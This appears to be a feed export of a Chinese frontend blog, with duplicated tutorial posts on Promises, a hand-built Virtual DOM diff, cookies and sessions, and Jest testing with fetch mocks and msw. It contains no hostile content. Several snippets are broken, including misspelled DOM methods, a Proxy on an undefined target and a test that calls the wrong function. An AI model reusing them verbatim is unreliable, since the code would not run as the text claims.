由於採用了 Chaining 的語法,所以大大改善了回呼函式不易閱讀的缺點!
既然談到 Promise,筆者想再介紹兩個十分好用的 Promise 建構子的方法。
Promise.all()
如果 request 之間並不用互相等待依賴結果,希望可以同時並行可行嗎? 這時候請使用 Promise.All
,把所有的 promise 都放進一個陣列再丟進來,等待所有 promise 都執行完畢便可以一次收到所有結果~
注意:
(1) 當 promise 被創建時,裡面如果有非同步的程式碼即開始執行,並非丟進 Promise.all 才開始執行!
(2) Promise.all 在 then 接收到的結果順序與傳入的順序一致,並不是先執行結束的在前面
Promise.race()
所有的 Promise 誰先 resolve 誰就獲勝
,這是甚麼東西? 有甚麼情況會需要所有 Promise 比速度。讀者有想到甚麼情境嗎?
原來可以限制 request 逾時的時間呢! 這個方法很棒吧~
到此為止我們初步解決了非同步的巢狀地獄,不過還沒結束呢! 下一篇二部曲我們來瞧瞧 ES6 Generators
的厲害,敬請期待。
現代前端框架的 Vue 以及 React 在試圖更新畫面的時候,並不會直接改變整個 DOM,因為這件事非常的耗費資源。事實上整個 DOM 會被 javascript 物件來模擬,這個物件被稱作 Virtual DOM。
透過比較新舊 Virtual DOM,可以得知那些節點需要被新增/刪除/修改,並批次更新真實 DOM 中的節點。
從上面的示意圖中我們可以看到我們不需要產生整個新的 DOM,雖然我們需要生產一個新的 Virtual DOM 來與舊的 Virtual DOM 比較,不過經過比較最後我們只需要做一次 appendChild 來改變 DOM 即可。
用講的好像似懂非懂,那麼讓我們來手刻一個透過比較 Virtual DOM 來更新畫面的網頁吧!
有鑑於更新畫面最後仍要要實際更新 DOM,因此操控 DOM 的 API 是肯定要知道的。
// create a new div element
const newDiv = document.createElement('div');
}
Document.createTextNode(text):創造一個文字節點。
// create a new text node
const newtext = document.createTextNode('text');
ParentNode.appendChild(node):將一個節點加到指定父節點的子節點列表的最末端。如果將被插入的節點已經存在於當前的 DOM Tree,那麼它將從原先的位置移動到新的位置(不需要事先移除要移動的節點)。
const div = document.createElement('div');
const p = deocument.createElement('p');
div.appendChild(p);
console.log(div.outerHTML); // '<div><p></p></div>'
const div = document.createElement('div');
div.setAttribute('style','display: flex;')
console.log(div.outerHTML); // '<div style="display: flex;"></div>'
const div = document.createElement('div');
div.setAttribute('style','display: flex;')
div.reomveAttribute('style')
console.log(div.outerHTML); // '<div></div>'
const parent = document.createElement('div');
const child = document.createElement('p');
parent.appendChild(child);
const span = document.createElement('span');
child.replaceWith(span);
console.log(parent.outerHTML);
// '<div><span></span></div>'
var el = document.querySelector('.main');
el.remove();
另一個讀者需要知道的先備知識是 ES6 才有的 Proxy,他被用來代理物件的行為。
在 JavaScript 中我們可以對物件進行許多操作,最簡單的是取值還有賦值。
const obj = {
name: 'Peter',
hasPet: false,
}
// 取值
const { name } = obj;
console.log(name) // 'Peter'
//賦值
obj.hasPet = true
console.log(obj.hasPet) // true
如果我們想要監聽取值還有賦值的動作並且達成某些 sideEffect,便可以使用 Proxy。
const obj = {};
const handler = {
set: (obj, prop, value) => {
obj[prop] = 2 ** value;
},
get: (obj, prop) => {
return obj[prop] * 2;
}
};
const p = new Proxy(target, handler);
p.x = 2;
console.log(p.x); // 8
我們把 obj 加上了 set 以及 get 兩個 handler,首先可以看到 set 的三個參數 obj、prop 以及 value,它們分別代表了被代理的物件、賦值的屬性以及賦值的值。另外,set handler 並不需要有回傳值,因為它只是賦值並不是取值。
接著看到 get handler,兩個參數分別代表被代理的物件以及取值的屬性,值得注意的是 return 的值會成為取值出來的結果。
有了 Proxy 我們便可以在物件(資料)改變時,做額外的事情。在 Virtual DOM 的案例裡面聰明的讀者應該猜到了我們會試圖在 set handler 裡面做比對 Virtual DOM 以及更新 DOM 的工作。
終於進入了實作,在這裡我們先上主程式~
主程式第 64 行在建立初始畫面的 Virtual DOM,createElement 這個函式會回傳一個物件模擬實際的 DOM。
這個函式相對簡單,tagName
紀錄了 element 的種類、attrs
紀錄 element 的所有屬性、children
裡面也存了許多 createElement 產生的物件,代表目前這個 element 底下的子節點。
在主程式第 65 行將 Virtual DOM 試圖轉換為真實的 DOM,用到的是 render 函式。這邊需要拆成兩個部分來看,一種是產生 Text 節點,其次是複雜的節點。
在主程式碼第 20 行的地方 String('Current count: ${count}')
便是 Text 節點的案例,首先看 render 如何處理 Text 節點。
如果是複雜的節點則呼叫 renderElement,它會根據 tagName 產生一個新的節點,然後透過 setAttribute 把所有的屬性都設定上去。
如果有 children 便遞迴呼叫 render 遍歷所有的虛擬節點,產生相對應的元素,再用 appenChild 把所有的子節點都掛到 $el 上。
如果這個節點有好幾層,我們就會拿到一個很大的 DOM element,不過它還尚未被定位到 Document 上所以不會顯示在畫面上。
主程式第 66 行執行了 mount 函式
,目的是將上一個步驟產生的 DOM element 掛到 Document 上,這個動作就稱為 mount。
透過 replaceWith 我們將 DOM element 掛到 document.getElementById("app") 上,由於 app 是寫在 index.html 裡的元素,所以掛到 app 元素上便等於是掛到了 document 上。到這一個步驟網頁的畫面已經可以顯示出內容了!
接著要處理畫面的更新,在這個範例裡面透過更改 { count: number }
的值,希望可以在 count 屬性的值變動時,在網頁上顯示出相應數量的圖片。
主程式的第 40 ~ 62 行便處理了這件事情,雖然前面已經貼過主程式但這裡還是再把 Proxy 的部分節錄說明。
Proxy 代理了 set 的動作,每當物件的屬性被重新賦值,就會觸發上圖第 12 ~ 15 行的動作,這些動作包含:
接下來我們將焦點轉移到如何比較 Virtual DOM。
在比對 Virtual DOM 的時候,只會比對同一層的元素,不會進行交叉比對。我們把所有情況分為以下 4 種:
在新舊節點的標籤一樣的狀況下首先要比對他們的屬性,diffAttr 會創建一個儲存 patch 的空陣列,接著遍歷新節點的屬性,產生包含 setAttribute 的 patch 並塞進陣列裡;接著遍歷舊節點的屬性,如果找到新節點沒有的屬性便將包含 removeAttribute 的 patch 塞進陣列裡。
最後回傳的 patch 會依序執行陣列裡面的所有 patch 來完成 attribute 的更新~
diffChildren 和 diffAttrs 一樣都是在新舊節點的標籤相同時使用,負責依序比對子節點並回傳 patch 函式。
第 2 ~ 5 行負責遍歷舊節點的子節點,並一一與新節點的子節點用 diff 比對,注意到如果新節點的子節點比舊節點少,那麼 diff 的第二個參數會被傳進 undefined,所以會回傳一個包含 $node.remove();
的 node,如果對前面 diff 函式為甚麼要顧及到 vNewNode 為甚麼可能是 undefined 的情況有疑問的讀者可以再仔細想想。
第 7 ~ 13 行負責將新節點多出來的子節點 appendChild 到新的 DOM 上,所以先透過 array.slice 切出新節點相較於舊節點多出來的子節點,接著產生對應數量的 patch,這些 patch 會將子節點 render 出來並 appendChild。
16 ~ 20 行執行更新與刪除子節點的任務,值得一提的是這些任務是由 childPatches 的最末端的 patch 開始執行,讀者可以稍微思考一下這麼做的原因。
防雷線
如果是由第一個 patch 開始執行,那麼 const $child = $node.childNodes[i];
這一行便可能噴錯,因為 patch 函式有可能將 node 底下的 childNode 移除,導致 i 大於剩餘的 childNode 數量呢!
實作終於告一段落了,最後再回顧一次這一次實作的步驟。
實作的程式碼在這裡,下一篇文章預計會介紹一個好用的 Redux middleware - Redux Saga。
]]>現代前端框架的 Vue 以及 React 在試圖更新畫面的時候,並不會直接改變整個 DOM,因為這件事非常的耗費資源。事實上整個 DOM 會被 javascript 物件來模擬,這個物件被稱作 Virtual DOM。
透過比較新舊 Virtual DOM,可以得知那些節點需要被新增/刪除/修改,並批次更新真實 DOM 中的節點。
從上面的示意圖中我們可以看到我們不需要產生整個新的 DOM,雖然我們需要生產一個新的 Virtual DOM 來與舊的 Virtual DOM 比較,不過經過比較最後我們只需要做一次 appendChild 來改變 DOM 即可。
用講的好像似懂非懂,那麼讓我們來手刻一個透過比較 Virtual DOM 來更新畫面的網頁吧!
有鑑於更新畫面最後仍要要實際更新 DOM,因此操控 DOM 的 API 是肯定要知道的。
// create a new div element
const newDiv = document.createElement('div');
}
Document.createTextNode(text):創造一個文字節點。
// create a new text node
const newtext = document.createTextNode('text');
ParentNode.appendChild(node):將一個節點加到指定父節點的子節點列表的最末端。如果將被插入的節點已經存在於當前的 DOM Tree,那麼它將從原先的位置移動到新的位置(不需要事先移除要移動的節點)。
const div = document.createElement('div');
const p = deocument.createElement('p');
div.appendChild(p);
console.log(div.outerHTML); // '<div><p></p></div>'
const div = document.createElement('div');
div.setAttribute('style','display: flex;')
console.log(div.outerHTML); // '<div style="display: flex;"></div>'
const div = document.createElement('div');
div.setAttribute('style','display: flex;')
div.reomveAttribute('style')
console.log(div.outerHTML); // '<div></div>'
const parent = document.createElement('div');
const child = document.createElement('p');
parent.appendChild(child);
const span = document.createElement('span');
child.replaceWith(span);
console.log(parent.outerHTML);
// '<div><span></span></div>'
var el = document.querySelector('.main');
el.remove();
另一個讀者需要知道的先備知識是 ES6 才有的 Proxy,他被用來代理物件的行為。
在 JavaScript 中我們可以對物件進行許多操作,最簡單的是取值還有賦值。
const obj = {
name: 'Peter',
hasPet: false,
}
// 取值
const { name } = obj;
console.log(name) // 'Peter'
//賦值
obj.hasPet = true
console.log(obj.hasPet) // true
如果我們想要監聽取值還有賦值的動作並且達成某些 sideEffect,便可以使用 Proxy。
const obj = {};
const handler = {
set: (obj, prop, value) => {
obj[prop] = 2 ** value;
},
get: (obj, prop) => {
return obj[prop] * 2;
}
};
const p = new Proxy(target, handler);
p.x = 2;
console.log(p.x); // 8
我們把 obj 加上了 set 以及 get 兩個 handler,首先可以看到 set 的三個參數 obj、prop 以及 value,它們分別代表了被代理的物件、賦值的屬性以及賦值的值。另外,set handler 並不需要有回傳值,因為它只是賦值並不是取值。
接著看到 get handler,兩個參數分別代表被代理的物件以及取值的屬性,值得注意的是 return 的值會成為取值出來的結果。
有了 Proxy 我們便可以在物件(資料)改變時,做額外的事情。在 Virtual DOM 的案例裡面聰明的讀者應該猜到了我們會試圖在 set handler 裡面做比對 Virtual DOM 以及更新 DOM 的工作。
終於進入了實作,在這裡我們先上主程式~
主程式第 64 行在建立初始畫面的 Virtual DOM,createElement 這個函式會回傳一個物件模擬實際的 DOM。
這個函式相對簡單,tagName
紀錄了 element 的種類、attrs
紀錄 element 的所有屬性、children
裡面也存了許多 createElement 產生的物件,代表目前這個 element 底下的子節點。
在主程式第 65 行將 Virtual DOM 試圖轉換為真實的 DOM,用到的是 render 函式。這邊需要拆成兩個部分來看,一種是產生 Text 節點,其次是複雜的節點。
在主程式碼第 20 行的地方 String('Current count: ${count}')
便是 Text 節點的案例,首先看 render 如何處理 Text 節點。
如果是複雜的節點則呼叫 renderElement,它會根據 tagName 產生一個新的節點,然後透過 setAttribute 把所有的屬性都設定上去。
如果有 children 便遞迴呼叫 render 遍歷所有的虛擬節點,產生相對應的元素,再用 appenChild 把所有的子節點都掛到 $el 上。
如果這個節點有好幾層,我們就會拿到一個很大的 DOM element,不過它還尚未被定位到 Document 上所以不會顯示在畫面上。
主程式第 66 行執行了 mount 函式
,目的是將上一個步驟產生的 DOM element 掛到 Document 上,這個動作就稱為 mount。
透過 replaceWith 我們將 DOM element 掛到 document.getElementById("app") 上,由於 app 是寫在 index.html 裡的元素,所以掛到 app 元素上便等於是掛到了 document 上。到這一個步驟網頁的畫面已經可以顯示出內容了!
接著要處理畫面的更新,在這個範例裡面透過更改 { count: number }
的值,希望可以在 count 屬性的值變動時,在網頁上顯示出相應數量的圖片。
主程式的第 40 ~ 62 行便處理了這件事情,雖然前面已經貼過主程式但這裡還是再把 Proxy 的部分節錄說明。
Proxy 代理了 set 的動作,每當物件的屬性被重新賦值,就會觸發上圖第 12 ~ 15 行的動作,這些動作包含:
接下來我們將焦點轉移到如何比較 Virtual DOM。
在比對 Virtual DOM 的時候,只會比對同一層的元素,不會進行交叉比對。我們把所有情況分為以下 4 種:
在新舊節點的標籤一樣的狀況下首先要比對他們的屬性,diffAttr 會創建一個儲存 patch 的空陣列,接著遍歷新節點的屬性,產生包含 setAttribute 的 patch 並塞進陣列裡;接著遍歷舊節點的屬性,如果找到新節點沒有的屬性便將包含 removeAttribute 的 patch 塞進陣列裡。
最後回傳的 patch 會依序執行陣列裡面的所有 patch 來完成 attribute 的更新~
diffChildren 和 diffAttrs 一樣都是在新舊節點的標籤相同時使用,負責依序比對子節點並回傳 patch 函式。
第 2 ~ 5 行負責遍歷舊節點的子節點,並一一與新節點的子節點用 diff 比對,注意到如果新節點的子節點比舊節點少,那麼 diff 的第二個參數會被傳進 undefined,所以會回傳一個包含 $node.remove();
的 node,如果對前面 diff 函式為甚麼要顧及到 vNewNode 為甚麼可能是 undefined 的情況有疑問的讀者可以再仔細想想。
第 7 ~ 13 行負責將新節點多出來的子節點 appendChild 到新的 DOM 上,所以先透過 array.slice 切出新節點相較於舊節點多出來的子節點,接著產生對應數量的 patch,這些 patch 會將子節點 render 出來並 appendChild。
16 ~ 20 行執行更新與刪除子節點的任務,值得一提的是這些任務是由 childPatches 的最末端的 patch 開始執行,讀者可以稍微思考一下這麼做的原因。
防雷線
如果是由第一個 patch 開始執行,那麼 const $child = $node.childNodes[i];
這一行便可能噴錯,因為 patch 函式有可能將 node 底下的 childNode 移除,導致 i 大於剩餘的 childNode 數量呢!
實作終於告一段落了,最後再回顧一次這一次實作的步驟。
實作的程式碼在這裡,下一篇文章預計會介紹一個好用的 Redux middleware - Redux Saga。
]]>在網路上發送 request 的時候,我的意思是,每一個 request 都是不相干的。從下面這張圖也許你會比較了解我的意思:
當早餐店老闆娘總是沒辦法記住你常點的餐點,感覺十分沒人情味對吧! 有甚麼解決辦法呢? 如果你常買帕尼尼,那就請老闆在你第一次點餐的時候,給你一張紙條寫著:「常買品項: 帕尼尼」。
到這裡你可能會有點疑惑,寫在紙張上跟直接講有比較方便嗎? 事實上還真的方便了一點點,因為你每次只要拿出紙條給老闆看就好了,實際上點餐只有在第一次的時候需要口頭說。
用紙條來記憶的方式會像下面這樣:
其實在網路的世界裡,可以讓 HTTP 產生狀態的機制就叫做 Session。
所以 Session 是什麼?就是一種讓 Request 變成 stateful 的機制。以早餐店老闆娘的例子來說,Session 就是一種讓客人之間能互相關聯起來的機制。
上面的例子提到了可以用小紙條來記錄狀態,那在網路世界中可以靠什麼呢?
我們可以試試看利用網址! 利用網址來實作 Session 機制會像這樣子。
假設老闆娘的早餐店網站的網址是:breakfast.tw,當你第一次買帕尼尼的時候,你其實是送一個 Request 給伺服器,然後伺服器會把你導到 breakfast.tw?item=帕尼尼,之後你只要一直按結帳,都可以不用再選擇商品,而可以直接買到帕尼尼。
所以說,網址列上的 queryString 就是紙條,是儲存狀態的地方。
不過如果網址列又沒辦法儲存資訊太久,當瀏覽器重開儲存在網址列的狀態就通通消失了。
繼續早餐店的例子,如果每家店都用紙條的機制的話,每次出門前都要找對應商家紙條,這樣好像也沒有很方便餒!
幸好聰明的老闆娘想到了方法 - 把資訊存在手機裡頭! 手機大部分的人都會隨身帶著吧 (?
所有想要使用這個機制的老闆娘們合力開發了一個專屬 App,這個 App 把店家分門別類而且每個老闆娘只能看到自己儲存在客人手機裡的資訊。
老闆娘阿美可以從這個 App 看到你常點帕尼尼還有柳橙汁,可是她看不到從越南嫁過來開早餐店的阮大嬸在這個 App 寫的資料。
在瀏覽器中有一個像手機一樣的東西,我是指你平常會隨身帶著的這個特性。
每次發送 request 的時候,瀏覽器都會自動檢查 request 的網域有沒有存甚麼東西在 cookie 然後帶在 request hrader 裏頭。
使用 cookie 的好處是就算把瀏覽器關掉也沒有關係,cookie 還是會被存著,而且帶 cookie 這件事不用手動操作,是瀏覽器的規則,它會自己查找並帶上。
我們把瀏覽器與伺服器用紙條溝通的方式用 cookie 重新展示一次:
回到早餐店的案例,老闆娘愛上了這種方式! 因為這個 App 不只可以存常買品項而已。
某天老闆娘想到買兩杯大冰奶第二杯半價的活動,不過因為喝兩杯大冰奶根本會烙賽到不行,所以老闆娘善解人意(?的推出了寄杯的服務,至於剩餘的寄杯杯數老闆娘打算就放在 App 裡面。
一個月以後,老闆娘對帳時發現這個月收了 100 杯大冰奶的錢,可是卻賣出了 1000 杯大冰奶!!!
很明顯的,有好多人、或者某個貪小便宜的人,把 App 裡的寄杯杯數竄改了。
既然 App 是灌在客人的手機上的,很難防止客人去動裡面的資料,聰明的老闆娘想到一個辦法,就是把 App 裡頭的資料給加密。
可是每次都還要用金鑰解密一次,老闆娘覺得有點麻煩,而且她再也不相信人性了,她怕哪天金鑰被偷了加密法也被破解怎麼辦?
於是老闆娘繼續思考,忽然她靈機一動! 「既然存在手機上的資訊會被竄改,那我把資訊存在我這邊不就好了嗎?」她的腦海閃過這個想法。
於是她集合了所有早餐店的老闆娘重新將這個 App 更新為 2.0 版本!
這一次 App 裡面每個店家只存了一個 QR Code,當老闆娘掃了自己的店家的 QR Code 的時候可以得知會員的流水號,注意這個流水號是一組隨機亂數。
透過這個流水號老闆娘可以在自己的資料庫找出這個會員常買的東西、還剩幾杯寄杯的大冰奶 ...
下圖是老闆娘的資料庫一隅:
最後我們再回到網路的例子,cookie 搭配身分認證碼實作上就是只讓 cookie 存 sessionId,當 request 與 sessionId 一併被送出的時候 Server 便可以透過 SessionId 來查找資料。
舉例來說,有一個留言板在登入後,server 會給瀏覽器一組 ID,然後在背後的資料庫裡在這組 ID 後面紀錄使用者名稱。
在處理登入的頁面 (handle_login.php),server 請瀏覽器設置 cookie (一組 ssid)
server 的資料庫以 ssid 為名建立檔案並存入相關資訊(這裡以使用者名稱為例),注意這是 php 實作的方式而已。
導到主畫面以後,瀏覽器便帶著 cookie 這個 header,裡面的內容包含 ssid
cookie 的內容包含 key 還有 value,也設定了在甚麼 domain 瀏覽器應該要帶上這個 cookie
最後想補充一下,其實不是所有的實際的資料都會存放在 server 端的資料庫,像是紀錄目前所在的分頁的話,就適合直接存在瀏覽器的 cookie 裡。
]]>在網路上發送 request 的時候,我的意思是,每一個 request 都是不相干的。從下面這張圖也許你會比較了解我的意思:
當早餐店老闆娘總是沒辦法記住你常點的餐點,感覺十分沒人情味對吧! 有甚麼解決辦法呢? 如果你常買帕尼尼,那就請老闆在你第一次點餐的時候,給你一張紙條寫著:「常買品項: 帕尼尼」。
到這裡你可能會有點疑惑,寫在紙張上跟直接講有比較方便嗎? 事實上還真的方便了一點點,因為你每次只要拿出紙條給老闆看就好了,實際上點餐只有在第一次的時候需要口頭說。
用紙條來記憶的方式會像下面這樣:
其實在網路的世界裡,可以讓 HTTP 產生狀態的機制就叫做 Session。
所以 Session 是什麼?就是一種讓 Request 變成 stateful 的機制。以早餐店老闆娘的例子來說,Session 就是一種讓客人之間能互相關聯起來的機制。
上面的例子提到了可以用小紙條來記錄狀態,那在網路世界中可以靠什麼呢?
我們可以試試看利用網址! 利用網址來實作 Session 機制會像這樣子。
假設老闆娘的早餐店網站的網址是:breakfast.tw,當你第一次買帕尼尼的時候,你其實是送一個 Request 給伺服器,然後伺服器會把你導到 breakfast.tw?item=帕尼尼,之後你只要一直按結帳,都可以不用再選擇商品,而可以直接買到帕尼尼。
所以說,網址列上的 queryString 就是紙條,是儲存狀態的地方。
不過如果網址列又沒辦法儲存資訊太久,當瀏覽器重開儲存在網址列的狀態就通通消失了。
繼續早餐店的例子,如果每家店都用紙條的機制的話,每次出門前都要找對應商家紙條,這樣好像也沒有很方便餒!
幸好聰明的老闆娘想到了方法 - 把資訊存在手機裡頭! 手機大部分的人都會隨身帶著吧 (?
所有想要使用這個機制的老闆娘們合力開發了一個專屬 App,這個 App 把店家分門別類而且每個老闆娘只能看到自己儲存在客人手機裡的資訊。
老闆娘阿美可以從這個 App 看到你常點帕尼尼還有柳橙汁,可是她看不到從越南嫁過來開早餐店的阮大嬸在這個 App 寫的資料。
在瀏覽器中有一個像手機一樣的東西,我是指你平常會隨身帶著的這個特性。
每次發送 request 的時候,瀏覽器都會自動檢查 request 的網域有沒有存甚麼東西在 cookie 然後帶在 request hrader 裏頭。
使用 cookie 的好處是就算把瀏覽器關掉也沒有關係,cookie 還是會被存著,而且帶 cookie 這件事不用手動操作,是瀏覽器的規則,它會自己查找並帶上。
我們把瀏覽器與伺服器用紙條溝通的方式用 cookie 重新展示一次:
回到早餐店的案例,老闆娘愛上了這種方式! 因為這個 App 不只可以存常買品項而已。
某天老闆娘想到買兩杯大冰奶第二杯半價的活動,不過因為喝兩杯大冰奶根本會烙賽到不行,所以老闆娘善解人意(?的推出了寄杯的服務,至於剩餘的寄杯杯數老闆娘打算就放在 App 裡面。
一個月以後,老闆娘對帳時發現這個月收了 100 杯大冰奶的錢,可是卻賣出了 1000 杯大冰奶!!!
很明顯的,有好多人、或者某個貪小便宜的人,把 App 裡的寄杯杯數竄改了。
既然 App 是灌在客人的手機上的,很難防止客人去動裡面的資料,聰明的老闆娘想到一個辦法,就是把 App 裡頭的資料給加密。
可是每次都還要用金鑰解密一次,老闆娘覺得有點麻煩,而且她再也不相信人性了,她怕哪天金鑰被偷了加密法也被破解怎麼辦?
於是老闆娘繼續思考,忽然她靈機一動! 「既然存在手機上的資訊會被竄改,那我把資訊存在我這邊不就好了嗎?」她的腦海閃過這個想法。
於是她集合了所有早餐店的老闆娘重新將這個 App 更新為 2.0 版本!
這一次 App 裡面每個店家只存了一個 QR Code,當老闆娘掃了自己的店家的 QR Code 的時候可以得知會員的流水號,注意這個流水號是一組隨機亂數。
透過這個流水號老闆娘可以在自己的資料庫找出這個會員常買的東西、還剩幾杯寄杯的大冰奶 ...
下圖是老闆娘的資料庫一隅:
最後我們再回到網路的例子,cookie 搭配身分認證碼實作上就是只讓 cookie 存 sessionId,當 request 與 sessionId 一併被送出的時候 Server 便可以透過 SessionId 來查找資料。
舉例來說,有一個留言板在登入後,server 會給瀏覽器一組 ID,然後在背後的資料庫裡在這組 ID 後面紀錄使用者名稱。
在處理登入的頁面 (handle_login.php),server 請瀏覽器設置 cookie (一組 ssid)
server 的資料庫以 ssid 為名建立檔案並存入相關資訊(這裡以使用者名稱為例),注意這是 php 實作的方式而已。
導到主畫面以後,瀏覽器便帶著 cookie 這個 header,裡面的內容包含 ssid
cookie 的內容包含 key 還有 value,也設定了在甚麼 domain 瀏覽器應該要帶上這個 cookie
最後想補充一下,其實不是所有的實際的資料都會存放在 server 端的資料庫,像是紀錄目前所在的分頁的話,就適合直接存在瀏覽器的 cookie 裡。
]]>這篇文章會由小到大的架構去寫。
不過因為自己才剛接觸測試,所以是以筆記的性質去寫這篇文章,廢話不多說,下面就從前置準備開始吧!
在 CRA 創建的 React 專案當中,已經裝好了測試用的套件 jest,從 package.json 中可以看到
npm run test
可以很方便的進行測試。
不過在使用這個指令之前,請重新安裝 0.6.5 版本的 jest-watch-typeahead,詳細原因參考這裡。
在 cmd 輸入
npm install --exact jest-watch-typeahead@0.6.5
這是我們要測試的函式:
export const strictFloor = (num) => {
if (num%1 === 0) {
return num - 1
}
return Math.floor(num)
}
這個函式以圖形表示是這樣的:
那麼我們會寫幾個 case 來看函式的預期與輸出是不是一樣。
// strictFloor.test.js
import { strictFloor } from './utils'
test('test strictFloor function', () => {
expect(strictFloor(3)).toBe(2)
expect(strictFloor(3.5)).toBe(3)
})
當我們在 cmd 輸入
npm run test
會自動尋找有 .test 字串的檔案來跑測試。
我們延續上面的範例稍微修改一下,假設現在 strictFloor 這個函式是這樣子的:
const getPi = () => 3
export const strictFloorV2 = (num) => {
if (num%1 === 0) {
return num - 1 + exports.getPi()
}
return Math.floor(num) + exports.getPi()
}
所以我們在測試的測試檔會改成像這樣子:
// strictFloorV2.test.js
import { strictFloorV2 } from './utils'
test('test strictFloorV2 function', () => {
expect(strictFloor(3)).toBe(5)
expect(strictFloor(3.5)).toBe(6)
})
測試會通過,不過這個測試是為了 strictFloor 而寫的,如果現在 getPi 變成回傳 3.14,那麼 strictFloor 的測試沒通過就很不直觀,因為應該把錯賴在 getPi 身上。
如果我們可以在測試檔裡面模擬 getPi 的話一切就好多了,先看程式碼:
import * as module from './utils'
test('test strictFloorV2 function', () => {
jest.spyOn(module, 'getPi').mockReturnValue(5)
expect(module.strictFloorV2(3)).toBe(7)
expect(module.strictFloorV2(3.5)).toBe(8)
})
我們使用 jest.spyOn 來模擬 module 中的 getPi,不過眼尖的朋友應該會注意到 spyOn 在引用 getPi 的時候是引用 exports.getPi,原因是因為如果直接引用 getPi 我們會無法模擬,詳細可以參考這篇。
另一個方法是把 getPi 以及 strictFloor 分成兩個檔案撰寫。
測試完單一 function 以後,接著試試看 React Component 的 Unit test,我們想測試的是一個側拉的藍色 Menu,像下面的 gif 這樣:
我們會簡單測試幾個點。
// Menu.test.js
import Menu from './Menu'
import { BrowserRouter as Router } from 'react-router-dom'
import { screen, render } from '@testing-library/react'
import userEvent from '@testing-library/user-event'
import '@testing-library/jest-dom/extend-expect'
describe('Menu Component Login', () => {
test('Menu should have Login text if logout', () => {
render(
<Router>
<Menu showMenu={true} setShowMenu={jest.fn()}/>
</Router>)
expect(screen.getByText('Login')).toBeInTheDocument()
})
test('Menu click articles should push history /articles', () => {
render(
<Router>
<Menu showMenu={true} setShowMenu={jest.fn()}/>
</Router>)
userEvent.click(screen.getByText('Login'))
expect(window.location.pathname).toBe('/articles')
})
})
首先將要測試的 Component 引入,接著可以使用 Render
來模擬 mount 的動作。
可以將 props 的 function 以 jest.fn() 來代替,如此一來,當函式的內容改變的時候,只要不影響我們要測試的項目,就一樣會通過測試。
這一點滿重要的,謹記 Kent.C 大師的心法 - 盡量不要讓測試去貼近實作,如此一來才不用頻繁的更改測試。
除了一些很特別的元件需要個別做 Unit test 以外,通常我們在意的是很多個元件的相互關係。就以下面這張圖的 ArticlesPage 來說,它包含了 Header、Menu、Paginator、許多 Article 以及 Footer。
接下來會很有趣,因為這個頁面會發起 fetch 並拿到文章回來。
fetch 的結果與畫面的關係如下:
作者名字
的元素還沒有任何文章。
的元素在測試前端的時候,我們不希望真的去 call API,所以如何模擬發送 API 就是在測試裡面的重要的小事之一了。
先上程式碼:
import themes from '../../themes'
import { ThemeProvider } from '@emotion/react'
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom'
import { screen, render, waitFor } from '@testing-library/react'
import ArticlesPage from './ArticlesPage'
import '@testing-library/jest-dom/extend-expect'
import fetchMock from 'jest-fetch-mock'
fetchMock.enableMocks()
describe('ArticlesPage test', () => {
beforeEach(() => {
fetch.resetMocks()
})
test('ArticlesPage should redirect to home if fail', async () => {
fetch.mockReject(() => Promise.reject('API is down'))
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(window.location.pathname).toBe('/home')
})
})
test('ArticlesPage should contain authorname if has article', async () => {
fetch.mockResponseOnce(JSON.stringify({
success: true,
data: []
}), { status: 200, headers: { 'article-amount': 0 } })
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(screen.getByText('還沒有任何文章。')).toBeInTheDocument()
})
})
test('ArticlesPage should show no article if no article', async () => {
fetch.mockResponseOnce(JSON.stringify({
success: true,
data: [{
id: 42,
name: '王博群',
authorUid: '1LeBcIh5GbYdzrKiUwq4YwtY0UJ2',
title: '史詩翻盤!Nadal讓二追三 奪破紀錄第21座大滿貫',
content: '',
plainContent: '2022年澳洲網球公開賽',
createdAt: '2022-01-30T16:12:36.000Z'
}]
}), { status: 200, headers: { 'article-amount': 10 } })
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(screen.getByText('王博群')).toBeInTheDocument()
})
})
})
我們可以像一開始模仿 getPi 一樣,試著把 fetch 給代換掉,讓 fetch 回傳我們像要的結果,這件事可以很簡單的經由 jest-fetch-mock
這個套件完成。
這篇文章 裡面有 jest-fetch-mock
的詳細說明。
再來要注意 WaitFor 的語法,雖然我們已經不會實際發送 API,但仍然回傳 Promise,所以我們需要將等到 Promise 回來才看看有沒有通過測試。
最後可以注意:
beforeEach(() => {
fetch.resetMocks()
})
我們可以設定 hooks, 讓跑每個測試前先重設一次假的 fetch。
除了模仿 fetch 還有更極端的手段嗎? 有的,如果可以把 request 攔截下來,讓假的 server 監聽,那不管是 fetch 還是 XMLHttpRequest,都會有效!
上程式碼:
import themes from '../../themes'
import { ThemeProvider } from '@emotion/react'
import { BrowserRouter as Router, Routes, Route } from 'react-router-dom'
import { screen, render, waitFor } from '@testing-library/react'
import ArticlesPage from './ArticlesPage'
import userEvent from '@testing-library/user-event'
import '@testing-library/jest-dom/extend-expect'
import { rest } from 'msw'
import { setupServer } from 'msw/node'
import { BASE_URL } from '../../WebAPI'
const server = setupServer()
describe('ArticlesPage test', () => {
beforeAll(() => server.listen())
afterEach(() => server.resetHandlers())
afterAll(() => server.close())
test('ArticlesPage should redirect to home if fail', async () => {
server.use(
rest.get(`${BASE_URL}/articles`, (req, res, ctx) => {
return res(ctx.status(400))
})
)
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(window.location.pathname).toBe('/home')
})
})
test('ArticlesPage should show no article if no article', async () => {
server.use(
rest.get(`${BASE_URL}/articles`, (req, res, ctx) => {
return res(
ctx.set({
'article-amount': 0,
}),
ctx.json({
success: true,
data: []
})
)
})
)
render(
<ThemeProvider theme={themes.light}>
<Router>
<ArticlesPage />
</Router>
</ThemeProvider>)
await waitFor(() => {
expect(screen.getByText('還沒有任何文章。')).toBeInTheDocument()
})
})
test('ArticlesPage should show no article if no article', async () => {
server.use(
rest.get(`${BASE_URL}/articles`, (req, res, ctx) => {
return res(
ctx.set({
'article-amount': 10,
}),
ctx.json({
success: true,
data: [{
id: 42,
name: '王博群',
authorUid: '1LeBcIh5GbYdzrKiUwq4YwtY0UJ2',
title: '史詩翻盤!Nadal讓二追三 奪破紀錄第21座大滿貫',
content: '',
plainContent: '2022年澳洲網球公開賽',
